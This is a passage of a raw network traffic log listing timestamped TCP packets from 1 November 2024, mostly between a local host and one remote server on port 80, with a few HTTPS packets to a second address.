Nov 1, 2024 03:46:24.493117094 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.493215084 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493231058 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493243933 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493283033 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.493421078 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493479967 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493525028 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.493566036 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493577003 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493607044 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.493627071 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.493717909 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493730068 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493741035 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493752003 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493763924 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.493766069 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.493796110 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.493809938 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.494142056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494154930 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494165897 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494179010 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494189978 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494200945 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.494246006 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.494482994 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494493008 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494529009 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.494632006 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494645119 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494654894 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494661093 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494677067 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494688988 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494699001 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494699955 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.494713068 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.494716883 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.494749069 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.495321035 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.495332003 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.495343924 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.495368004 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.495379925 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.495556116 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.495567083 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.495578051 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.495589972 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.495596886 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.495603085 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.495615959 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.495625973 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.495639086 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.495670080 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.496089935 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496102095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496119022 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496129990 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496140003 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496140003 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.496153116 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496165991 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496172905 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.496175051 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496186018 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.496217966 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.496756077 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496767998 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496778965 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496790886 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496802092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496804953 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.496819019 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496825933 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496828079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.496829033 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.496845961 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.496876955 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.530215979 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.530282974 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.530293941 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.530366898 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.530381918 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.578012943 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.578085899 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.578097105 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.578174114 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.578226089 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.578238010 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.578284979 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.578418016 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.578461885 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.578469992 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.578516006 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.578619003 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.578630924 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.578640938 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.578663111 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.578694105 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.578922033 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.578937054 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.578963041 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.578979015 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.579154968 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.579166889 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.579178095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.579189062 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.579201937 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.579231977 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.579570055 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.579581022 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.579591036 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.579602003 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.579612970 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.579612970 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.579624891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.579631090 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.579642057 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.579644918 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.579677105 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.580318928 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.580331087 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.580341101 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.580353022 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.580363035 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.580368042 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.580374002 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.580375910 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.580399990 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.580426931 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.610001087 CET	443	58532	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:24.610157013 CET	58532	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:24.611094952 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.611174107 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.611181021 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.611185074 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.611234903 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.611270905 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.611371994 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.611428976 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.611469984 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.611481905 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.611491919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.611522913 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.611664057 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.611664057 CET	58532	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:24.611680031 CET	443	58532	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:24.611776114 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.611788034 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.611825943 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.611924887 CET	443	58532	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:24.611965895 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612026930 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612037897 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612049103 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612060070 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612063885 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.612098932 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.612556934 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612569094 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612577915 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612588882 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612600088 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612607956 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.612611055 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612623930 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612632990 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.612636089 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612654924 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.612663031 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.612688065 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.612715960 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.613342047 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613352060 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613387108 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.613553047 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613564014 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613573074 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613584995 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613595009 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.613595009 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613606930 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613617897 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.613619089 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613630056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613641024 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613646030 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.613651991 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613657951 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.613665104 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.613682985 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.613708973 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.614393950 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.614404917 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.614414930 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.614424944 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.614437103 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.614440918 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.614449978 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.614455938 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.614461899 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.614464998 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.614466906 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.614479065 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.614490986 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.614500999 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.614502907 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.614526033 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.614546061 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.615322113 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.615334034 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.615344048 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.615355968 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.615365982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.615370989 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.615379095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.615389109 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.615400076 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.615401983 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.615412951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.615420103 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.615442038 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.615468025 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.615966082 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.615977049 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.615986109 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.615997076 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.616007090 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.616010904 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.616024971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.616033077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.616039038 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.616049051 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.616063118 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.616081953 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.620692968 CET	58532	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:24.620819092 CET	58532	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:24.620846987 CET	443	58532	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:24.620917082 CET	58532	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:24.620924950 CET	443	58532	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:24.649051905 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.649110079 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.649121046 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.649138927 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.649162054 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.696799040 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.696820021 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.696863890 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.696882963 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.696934938 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.696959972 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.696981907 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.696993113 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697005033 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.697031975 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.697267056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697278976 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697289944 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697315931 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.697328091 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.697491884 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697509050 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697520971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697532892 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697539091 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.697555065 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.697586060 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.697865963 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697911978 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697923899 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697933912 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697945118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.697958946 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.697981119 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.698296070 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.698306084 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.698314905 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.698337078 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.698350906 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.698626995 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.698637962 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.698647022 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.698659897 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.698669910 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.698672056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.698683977 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.698692083 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.698708057 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.698736906 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.699136019 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.699147940 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.699158907 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.699173927 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.699183941 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.699187040 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.699196100 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.699202061 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.699208021 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.699223995 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.699244022 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.729872942 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.729926109 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.729948997 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.729962111 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.729995012 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.730151892 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.730164051 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.730207920 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.730325937 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.730335951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.730376005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.730473042 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.730484962 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.730494976 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.730506897 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.730515957 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.730520964 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.730551958 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.730617046 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.730973005 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.730983973 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.730993986 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731005907 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731017113 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731019020 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.731026888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731046915 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.731071949 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.731391907 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731403112 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731411934 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731434107 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.731457949 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.731631994 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731643915 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731653929 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:24.731683016 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:24.731702089 CET	58527	80	192.168.2.6	185.215.113.16
